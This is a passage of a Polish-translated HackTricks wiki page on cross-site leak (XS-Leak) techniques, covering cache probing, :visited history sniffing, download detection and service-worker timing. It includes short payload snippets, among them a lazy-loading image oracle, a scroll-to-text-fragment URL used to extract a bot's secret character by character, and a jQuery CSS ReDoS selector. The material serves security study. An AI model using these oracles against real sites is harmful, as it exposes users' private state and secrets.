* **Przykład kodu**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)

Aplikacje internetowe mogą zmieniać stylizację **strony internetowej w zależności od statusu użytkownika**. Pliki CSS z różnych źródeł mogą być osadzone na stronie atakującego za pomocą **elementu link HTML**, a **reguły** będą **zastosowane** do strony atakującego. Jeśli strona dynamicznie zmienia te reguły, atakujący może **wykryć** te **różnice** w zależności od stanu użytkownika.\
Jako technikę wycieku, atakujący może użyć metody `window.getComputedStyle`, aby **odczytać właściwości CSS** konkretnego elementu HTML. W rezultacie atakujący może odczytać dowolne właściwości CSS, jeśli znana jest nazwa elementu i właściwości.

### Historia CSS

* **Metody włączenia**: Elementy HTML
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
* **Podsumowanie:** Wykryj, czy styl `:visited` jest zastosowany do URL, co wskazuje, że był już odwiedzany
* **Przykład kodu**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)

{% hint style="info" %}
Zgodnie z [**tym**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), to nie działa w headless Chrome.
{% endhint %}

Selektor CSS `:visited` jest wykorzystywany do stylizacji URL w inny sposób, jeśli były wcześniej odwiedzane przez użytkownika. W przeszłości metoda `getComputedStyle()` mogła być używana do identyfikacji tych różnic w stylu. Jednak nowoczesne przeglądarki wprowadziły środki bezpieczeństwa, aby zapobiec ujawnieniu stanu linku przez tę metodę. Środki te obejmują zawsze zwracanie stylu obliczonego, jakby link był odwiedzany, oraz ograniczenie stylów, które mogą być stosowane z selektorem `:visited`.

Mimo tych ograniczeń, możliwe jest pośrednie rozróżnienie stanu odwiedzenia linku. Jedna z technik polega na oszukaniu użytkownika, aby interagował z obszarem dotkniętym przez CSS, wykorzystując właściwość `mix-blend-mode`. Ta właściwość pozwala na mieszanie elementów z ich tłem, co potencjalnie ujawnia stan odwiedzenia na podstawie interakcji użytkownika.

Ponadto, wykrycie można osiągnąć bez interakcji użytkownika, wykorzystując czasy renderowania linków. Ponieważ przeglądarki mogą renderować odwiedzone i nieodwiedzone linki w różny sposób, może to wprowadzić mierzalną różnicę czasową w renderowaniu. Dowód koncepcji (PoC) został wspomniany w raporcie błędu Chromium, demonstrując tę technikę przy użyciu wielu linków, aby wzmocnić różnicę czasową, co sprawia, że stan odwiedzenia jest wykrywalny poprzez analizę czasu.

Aby uzyskać więcej szczegółów na temat tych właściwości i metod, odwiedź ich strony dokumentacji:

* `:visited`: [Dokumentacja MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
* `getComputedStyle()`: [Dokumentacja MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
* `mix-blend-mode`: [Dokumentacja MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)

### Wycieki X-Frame ContentDocument

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Nagłówki
* **Więcej informacji**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
* **Podsumowanie:** W Google Chrome wyświetlana jest dedykowana strona błędu, gdy strona jest zablokowana przed osadzeniem na stronie z innego źródła z powodu ograniczeń X-Frame-Options.
* **Przykład kodu**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)

W Chrome, jeśli strona z nagłówkiem `X-Frame-Options` ustawionym na "deny" lub "same-origin" jest osadzona jako obiekt, pojawia się strona błędu. Chrome unikalnie zwraca pusty obiekt dokumentu (zamiast `null`) dla właściwości `contentDocument` tego obiektu, w przeciwieństwie do iframe'ów lub innych przeglądarek. Atakujący mogą to wykorzystać, wykrywając pusty dokument, co może ujawniać informacje o stanie użytkownika, szczególnie jeśli deweloperzy niespójnie ustawiają nagłówek X-Frame-Options, często pomijając strony błędów. Świadomość i konsekwentne stosowanie nagłówków bezpieczeństwa są kluczowe dla zapobiegania takim wyciekom.

### Wykrywanie pobierania

* **Metody włączenia**: Ramki, Pop-upy
* **Wykrywalna różnica**: Nagłówki
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
* **Podsumowanie:** Atakujący może rozpoznać pobieranie plików, wykorzystując iframe; ciągła dostępność iframe sugeruje pomyślne pobranie pliku.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)

Nagłówek `Content-Disposition`, szczególnie `Content-Disposition: attachment`, instruuje przeglądarkę, aby pobrała zawartość zamiast wyświetlać ją w linii. To zachowanie może być wykorzystywane do wykrywania, czy użytkownik ma dostęp do strony, która wywołuje pobieranie pliku. W przeglądarkach opartych na Chromium istnieje kilka technik wykrywania tego zachowania pobierania:

1. **Monitorowanie paska pobierania**:
* Gdy plik jest pobierany w przeglądarkach opartych na Chromium, pasek pobierania pojawia się na dole okna przeglądarki.
* Monitorując zmiany w wysokości okna, atakujący mogą wnioskować o pojawieniu się paska pobierania, co sugeruje, że pobieranie zostało zainicjowane.
2. **Nawigacja pobierania z iframe'ami**:
* Gdy strona wywołuje pobieranie pliku za pomocą nagłówka `Content-Disposition: attachment`, nie powoduje to zdarzenia nawigacji.
* Ładując zawartość w iframe i monitorując zdarzenia nawigacji, można sprawdzić, czy rozkład treści powoduje pobieranie pliku (brak nawigacji) czy nie.
3. **Nawigacja pobierania bez iframe'ów**:
* Podobnie jak w technice iframe, ta metoda polega na użyciu `window.open` zamiast iframe.
* Monitorowanie zdarzeń nawigacji w nowo otwartym oknie może ujawnić, czy wywołano pobieranie pliku (brak nawigacji) czy zawartość jest wyświetlana w linii (następuje nawigacja).

W scenariuszach, w których tylko zalogowani użytkownicy mogą wywołać takie pobierania, te techniki mogą być używane do pośredniego wnioskowania o stanie uwierzytelnienia użytkownika na podstawie odpowiedzi przeglądarki na żądanie pobrania.

### Ominięcie podzielonej pamięci podręcznej HTTP <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>

* **Metody włączenia**: Pop-upy
* **Wykrywalna różnica**: Czas
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
* **Podsumowanie:** Atakujący może rozpoznać pobieranie plików, wykorzystując iframe; ciągła dostępność iframe sugeruje pomyślne pobranie pliku.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (z [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))

{% hint style="warning" %}
Dlatego ta technika jest interesująca: Chrome ma teraz **podział pamięci podręcznej**, a klucz pamięci podręcznej nowo otwartej strony to: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)`, ale jeśli otworzę stronę ngrok i użyję fetch w niej, klucz pamięci podręcznej będzie: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **klucz pamięci podręcznej jest inny**, więc pamięć podręczna nie może być dzielona. Możesz znaleźć więcej szczegółów tutaj: [Zyskiwanie bezpieczeństwa i prywatności przez podział pamięci podręcznej](https://developer.chrome.com/blog/http-cache-partitioning/)\
(Komentarz z [**tutaj**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
{% endhint %}

Jeśli strona `example.com` zawiera zasób z `*.example.com/resource`, to ten zasób będzie miał **ten sam klucz pamięci podręcznej**, jakby zasób był bezpośrednio **żądany przez nawigację na najwyższym poziomie**. To dlatego, że klucz pamięci podręcznej składa się z najwyższego poziomu _eTLD+1_ i ramki _eTLD+1_.

Ponieważ dostęp do pamięci podręcznej jest szybszy niż ładowanie zasobu, możliwe jest próbowanie zmiany lokalizacji strony i anulowanie jej 20 ms (na przykład) później. Jeśli pochodzenie zostało zmienione po zatrzymaniu, oznacza to, że zasób został zbuforowany.\
Można również **wysłać jakieś fetch do potencjalnie zbuforowanej strony i zmierzyć czas, jaki to zajmuje**.

### Ręczne przekierowanie <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

* **Metody włączenia**: Fetch API
* **Wykrywalna różnica**: Przekierowania
* **Więcej informacji**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234)
* **Podsumowanie:** Możliwe jest ustalenie, czy odpowiedź na żądanie fetch jest przekierowaniem
* **Przykład kodu**:

![](<../.gitbook/assets/image (652).png>)

### Fetch z AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

* **Metody włączenia**: Fetch API
* **Wykrywalna różnica**: Czas
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
* **Podsumowanie:** Możliwe jest próbowanie załadowania zasobu i przerwanie ładowania przed jego załadowaniem. W zależności od tego, czy wystąpił błąd, zasób był lub nie był zbuforowany.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)

Użyj _**fetch**_ i _**setTimeout**_ z **AbortController**, aby wykryć, czy **zasób jest zbuforowany** i aby usunąć konkretny zasób z pamięci podręcznej przeglądarki. Ponadto proces ten odbywa się bez buforowania nowej zawartości.

### Zanieczyszczenie skryptu

* **Metody włączenia**: Elementy HTML (skrypt)
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
* **Podsumowanie:** Możliwe jest **nadpisanie wbudowanych funkcji** i odczytanie ich argumentów, nawet z **skryptu z innego źródła** (którego nie można odczytać bezpośrednio), co może **ujawniać cenne informacje**.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)

### Pracownicy serwisowi <a href="#service-workers" id="service-workers"></a>

* **Metody włączenia**: Pop-upy
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
* **Podsumowanie:** Mierz czas wykonania strony internetowej za pomocą pracowników serwisowych.
* **Przykład kodu**:

W danym scenariuszu atakujący podejmuje inicjatywę, aby zarejestrować **pracownika serwisowego** w jednej ze swoich domen, konkretnie "attacker.com". Następnie atakujący otwiera nowe okno na stronie docelowej z głównego dokumentu i instruuje **pracownika serwisowego**, aby rozpoczął timer. Gdy nowe okno zaczyna się ładować, atakujący nawigują odniesienie uzyskane w poprzednim kroku do strony zarządzanej przez **pracownika serwisowego**.

Po przybyciu żądania zainicjowanego w poprzednim kroku, **pracownik serwisowy** odpowiada kodem statusu **204 (No Content)**, skutecznie kończąc proces nawigacji. W tym momencie **pracownik serwisowy** rejestruje pomiar z timera uruchomionego wcześniej w kroku drugim. Ten pomiar jest wpływany przez czas trwania JavaScript, powodując opóźnienia w procesie nawigacji.

{% hint style="warning" %}
W pomiarze czasu wykonania możliwe jest **eliminowanie** **czynników sieciowych**, aby uzyskać **dokładniejsze pomiary**. Na przykład, ładując zasoby używane przez stronę przed jej załadowaniem.
{% endhint %}

### Czas pobierania

* **Metody włączenia**: Fetch API
* **Wykrywalna różnica**: Czas (ogólnie z powodu zawartości strony, kodu statusu)
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
* **Podsumowanie:** Użyj [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow), aby zmierzyć czas potrzebny na wykonanie żądania. Inne zegary mogą być używane.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)

### Czas między oknami

* **Metody włączenia**: Pop-upy
* **Wykrywalna różnica**: Czas (ogólnie z powodu zawartości strony, kodu statusu)
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
* **Podsumowanie:** Użyj [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow), aby zmierzyć czas potrzebny na wykonanie żądania za pomocą `window.open`. Inne zegary mogą być używane.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe.\
Uzyskaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## Z HTML lub ponowna iniekcja

Tutaj znajdziesz techniki eksfiltracji informacji z HTML z innego źródła **poprzez wstrzykiwanie treści HTML**. Te techniki są interesujące w przypadkach, gdy z jakiegoś powodu możesz **wstrzykiwać HTML, ale nie możesz wstrzykiwać kodu JS**.

### Zawieszone znaczniki

{% content-ref url="dangling-markup-html-scriptless-injection/" %}
[dangling-markup-html-scriptless-injection](dangling-markup-html-scriptless-injection/)
{% endcontent-ref %}

### Ładowanie obrazów leniwie

Jeśli musisz **eksfiltracja treści** i możesz **dodać HTML przed sekretem**, powinieneś sprawdzić **powszechne techniki zawieszonych znaczników**.\
Jednak jeśli z jakiegoś powodu **MUSISZ** to zrobić **znak po znaku** (może komunikacja odbywa się przez trafienie w pamięci podręcznej), możesz użyć tego triku.

**Obrazy** w HTML mają atrybut "**loading**", którego wartość może być "**lazy**". W takim przypadku obraz zostanie załadowany, gdy będzie wyświetlany, a nie podczas ładowania strony:
```html
<img src=/something loading=lazy >
```
Dlatego, co możesz zrobić, to **dodać dużo śmieciowych znaków** (na przykład **tysiące "W"**) aby **wypełnić stronę internetową przed sekretem lub dodać coś takiego jak** `<br><canvas height="1850px"></canvas><br>.`\
Wtedy, jeśli na przykład nasza **iniekcja pojawi się przed flagą**, **obraz** zostanie **załadowany**, ale jeśli pojawi się **po** **fladze**, flaga + śmieci **uniemożliwią jej załadowanie** (będziesz musiał eksperymentować z ilością śmieci do umieszczenia). To się wydarzyło w [**tym opisie**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).

Inną opcją byłoby użycie **scroll-to-text-fragment**, jeśli jest to dozwolone:

#### Scroll-to-text-fragment

Jednak sprawiasz, że **bot uzyskuje dostęp do strony** z czymś takim jak
```
#:~:text=SECR
```
So the web page will be something like: **`https://victim.com/post.html#:~:text=SECR`**

Gdzie post.html zawiera śmieciowe znaki atakującego i obrazek ładowany leniwie, a następnie dodawany jest sekret bota.

Co ten tekst zrobi, to sprawi, że bot uzyska dostęp do dowolnego tekstu na stronie, który zawiera tekst `SECR`. Ponieważ ten tekst jest sekretem i jest **tuż poniżej obrazu**, **obraz załaduje się tylko, jeśli odgadnięty sekret jest poprawny**. Tak więc masz swoje oracle do **ekstrahowania sekretu znak po znaku**.

Some code example to exploit this: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)

### Image Lazy Loading Time Based

If it's **not possible to load an external image** that could indicate the attacker that the image was loaded, another option would be to try to **guess the char several times and measure that**. Jeśli obraz jest ładowany, wszystkie żądania będą trwały dłużej niż w przypadku, gdy obraz nie jest ładowany. To jest to, co zostało użyte w [**rozwiązaniu tego opisu**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **podsumowanym tutaj:**

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

### ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %}
[regular-expression-denial-of-service-redos.md](regular-expression-denial-of-service-redos.md)
{% endcontent-ref %}

### CSS ReDoS

If `jQuery(location.hash)` is used, it's possible to find out via timing i**f some HTML content exists**, to dlatego, że jeśli selektor `main[id='site-main']` nie pasuje, nie trzeba sprawdzać reszty **selektorów**:
```javascript
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
```
### CSS Injection

{% content-ref url="xs-search/css-injection/" %}
[css-injection](xs-search/css-injection/)
{% endcontent-ref %}

## Defenses

Zalecane są środki zaradcze w [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) oraz w każdej sekcji wiki [https://xsleaks.dev/](https://xsleaks.dev/). Zobacz tam więcej informacji na temat ochrony przed tymi technikami.

## References

* [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
* [https://xsleaks.dev/](https://xsleaks.dev)
* [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
* [https://xsinator.com/](https://xsinator.com/)
* [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}